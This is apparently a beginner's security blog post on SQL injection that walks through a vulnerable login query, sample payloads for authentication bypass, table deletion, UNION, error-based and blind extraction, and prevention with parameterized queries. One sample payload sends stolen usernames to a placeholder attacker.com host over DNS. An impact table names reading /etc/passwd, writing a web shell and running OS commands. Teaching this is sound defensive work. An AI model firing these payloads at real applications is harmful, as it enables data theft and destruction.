Skip to content
· 9 min read INFO @Sdmrf

SQL Injection Explained: Talking to Databases You Shouldn't

How SQL injection works, why it's devastating, and how to prevent it. From basic injection to blind SQLi, explained for beginners.

On this page

XSS targets the browser. SQL injection targets the database. And the database is where the real damage happens - user credentials, financial records, personal data, business secrets. All of it.

SQL injection is one of the oldest web vulnerabilities (discovered in 1998) and it still makes the OWASP Top 10. It’s not going away because developers keep making the same mistake: putting user input directly into database queries.

What Is SQL?

Before SQL injection, you need to understand what SQL is.

SQL (Structured Query Language) is the language used to talk to relational databases. When a web app needs data, it sends a SQL query to the database.

Basic SQL

-- Get all users
SELECT * FROM users;

-- Find a specific user
SELECT * FROM users WHERE username = 'alice';

-- Check login credentials
SELECT * FROM users WHERE username = 'alice' AND password = 'secret123';

-- Insert a new user
INSERT INTO users (username, password, email) VALUES ('bob', 'pass456', 'bob@email.com');

-- Delete a user
DELETE FROM users WHERE username = 'bob';

-- Drop (delete) an entire table
DROP TABLE users;

The key commands:

  • SELECT - read data
  • INSERT - add data
  • UPDATE - change data
  • DELETE - remove rows
  • DROP - destroy tables

DROP TABLE deletes the entire table and all its data. Permanently. Remember that.

How SQL Injection Works

Here’s the pattern. A web app has a login form. The server takes the username and password and builds a SQL query:

# Server-side code (vulnerable!)
username = request.form['username']
password = request.form['password']

query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

Normal login with username alice and password secret123:

SELECT * FROM users WHERE username = 'alice' AND password = 'secret123'

This works fine. The database looks for a user with that exact username and password.

The Attack

Now instead of a real username, the attacker types:

' OR '1'='1

The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''

Since '1'='1' is always true, this returns all users in the database. The attacker bypasses authentication entirely.

Let’s break down why:

  • The ' closes the username string that the app opened
  • OR '1'='1' adds a condition that’s always true
  • The query logic changes from “find this specific user” to “find any user”

Even Worse

What if the attacker enters this as the username:

'; DROP TABLE users; --

The query becomes:

SELECT * FROM users WHERE username = ''; DROP TABLE users; --' AND password = ''

Three things happen:

  1. SELECT * FROM users WHERE username = '' - runs first (finds nothing)
  2. DROP TABLE users - deletes the entire users table
  3. -- - SQL comment, ignores the rest of the original query

The user database is gone. Every account, deleted. That’s SQL injection.

Types of SQL Injection

Classic (In-Band) SQLi

The attacker can see the results directly in the web page response. This is the simplest type.

Union-based: Uses UNION SELECT to combine results from another query:

' UNION SELECT username, password FROM users --

This appends the contents of the users table to whatever the original query was displaying. Usernames and passwords appear directly on the page.

Error-based: Intentionally causes database errors that leak information:

' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users)) --

The error message might read: “Conversion failed when converting the varchar value ‘admin’ to data type int.” The username “admin” leaked through the error.

Blind SQL Injection

The app doesn’t show query results or errors on the page. The attacker can’t see the data directly, but can still extract it by asking true/false questions.

Boolean-based blind:

' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --

If the page loads normally, the first character of the first username is ‘a’. If it shows an error or different response, it’s not ‘a’. The attacker tries each character, one at a time.

First character: a? → Yes (normal page)
Second character: a? → No (different page)
Second character: b? → No
Second character: c? → No
Second character: d? → Yes (normal page)
Username so far: "ad..."

Slow, but it works. Automated tools make this practical.

Time-based blind:

When even the page response doesn’t change, the attacker measures response time:

' AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0) --

If the first character is ‘a’, the server waits 5 seconds before responding. If not, it responds immediately. The attacker times the response to extract data one character at a time.

Out-of-Band SQLi

The attacker uses database features to send data to an external server they control. Rare, but useful when in-band and blind methods don’t work.

-- SQL Server: Send data via DNS
'; EXEC xp_dirtree '\\attacker.com\' + (SELECT TOP 1 username FROM users) --

The database makes a DNS request to admin.attacker.com, leaking the username through DNS.

The Impact

SQL injection isn’t just about reading data. Depending on the database configuration, an attacker can:

ActionSQLImpact
Read all dataUNION SELECTFull database dump - users, credentials, secrets
Modify dataUPDATE users SET role='admin'Elevate privileges
Delete dataDROP TABLE, DELETEDestroy the database
Read filesLOAD_FILE('/etc/passwd')Read server files (MySQL)
Write filesINTO OUTFILEWrite a web shell to the server
Execute commandsxp_cmdshellRun OS commands (SQL Server)

In the worst case, SQL injection gives the attacker complete control of the database and the underlying server.

Finding SQL Injection

Where to Look

Any input that might end up in a database query:

  • Login forms (username and password fields)
  • Search boxes
  • URL parameters (?id=1, ?category=shoes)
  • Filter and sort parameters
  • Profile update forms
  • Hidden form fields
  • HTTP headers (sometimes User-Agent, Referer)
  • Cookies (if their values are used in queries)

Basic Testing

Try these in input fields and URL parameters:

'                          ← Single quote (causes SQL syntax error if vulnerable)
' OR '1'='1                ← Always-true condition
' OR '1'='1' --            ← With comment to clean up the rest
' UNION SELECT NULL --     ← Test for UNION injection
1 AND 1=1                  ← Boolean test (numeric input)
1 AND 1=2                  ← Boolean test (should change behavior)

What to watch for:

  • Database error messages (immediate confirmation)
  • Different page behavior between 1 AND 1=1 (true) and 1 AND 1=2 (false)
  • Changes in displayed data
  • Response time differences (time-based blind)

Recognizing Database Errors

DatabaseError Looks Like
MySQLYou have an error in your SQL syntax...
PostgreSQLERROR: syntax error at or near...
SQL ServerUnclosed quotation mark after the character string...
OracleORA-01756: quoted string not properly terminated
SQLiteSQLITE_ERROR: near "...": syntax error

If you see any of these after adding a ' to your input, the app is very likely vulnerable.

Prevention

Parameterized Queries (Prepared Statements)

This is the fix. Instead of building queries from strings, use parameters:

Vulnerable (string concatenation):

# DON'T DO THIS
query = f"SELECT * FROM users WHERE username = '{username}'"

Safe (parameterized):

# DO THIS
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))

With parameterized queries, the database treats the input as data, never as code. Even if someone enters ' OR '1'='1, the database looks for a user literally named ' OR '1'='1 instead of executing it as SQL.

Examples in Different Languages

Python (psycopg2/MySQL Connector):

cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

PHP (PDO):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);

Node.js (mysql2):

connection.execute("SELECT * FROM users WHERE username = ?", [username]);

Java (JDBC):

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

Every modern language has parameterized query support. There is no excuse for string concatenation in SQL queries.

ORM (Object-Relational Mapping)

Frameworks like Django, Rails, and Sequelize abstract away SQL entirely:

# Django ORM - safe by default
user = User.objects.get(username=username)

ORMs generate parameterized queries under the hood. They’re safe as long as you don’t drop down to raw SQL with string concatenation.

Additional Defenses

DefensePurpose
Input validationReject obviously wrong input (letters in a number field)
Least privilegeDatabase user should only have permissions it needs
Error handlingNever show database errors to users
WAF rulesWeb Application Firewall can block common SQLi patterns

But parameterized queries are the real fix. Everything else is supplementary.

Practice Safely

  • PortSwigger Web Security Academy - Free SQL injection labs: portswigger.net/web-security/sql-injection
  • SQLi-labs - Dedicated SQLi practice environments
  • DVWA - SQL injection challenges at multiple difficulty levels
  • OWASP Juice Shop - Modern vulnerable app with SQLi challenges
  • HackTheBox - Web challenges featuring SQLi

What’s Next

XSS targets the browser. SQL injection targets the database. In the next post, we’ll target the login system itself - passwords, session management, tokens, and the many ways authentication breaks. This is where we tie together everything from this module.

References


SQL injection is older than most security professionals. It was first documented in 1998. It’s 2026 and we’re still finding it. The fix has been known for over 20 years. Use parameterized queries.

Related Articles